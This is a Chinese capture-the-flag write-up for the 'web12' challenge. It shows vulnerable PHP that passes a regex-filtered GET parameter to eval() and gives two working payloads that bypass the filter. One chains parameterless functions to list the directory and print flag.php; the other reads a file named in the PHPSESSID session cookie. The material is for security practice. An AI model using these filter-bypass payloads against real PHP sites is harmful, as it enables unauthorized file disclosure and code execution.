web12
源代码
<?php
header("Content-Type: text/html;charset=utf-8");
include "flag.php";
echo "flag在哪里呢?<br>";
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|cu|readfile|flip|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
法一
函数 | 描述 |
---|---|
localeconv() | 获取 ‘.’ |
current() pos() | 返回当前数组值 |
next() | 获取下一个数组的值 |
end() | 获取最后一个数组的值 |
array_rand() | 返回随机的数字键值 |
arrat_flip() | 数组的键名和键值交换 |
scandir() | 返回指定目录中的文件和文件夹 |
array_reverse() | 数组逆序 |
payload
#获取当前目录的文件
?exp=var_dump(scandir(pos(localeconv())));
接下来获取flag.php
payload:
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
法二
函数 | 描述 |
---|---|
session_start() | 开启session |
session_id() | 获取 PHPSESSID的值 |
payload
?exp=highlight_file(session_id(session_start()));
BP抓包添加一行
然后查看响应包就能得到flag
8dba5045b4638241db0f44e8727ba89e.php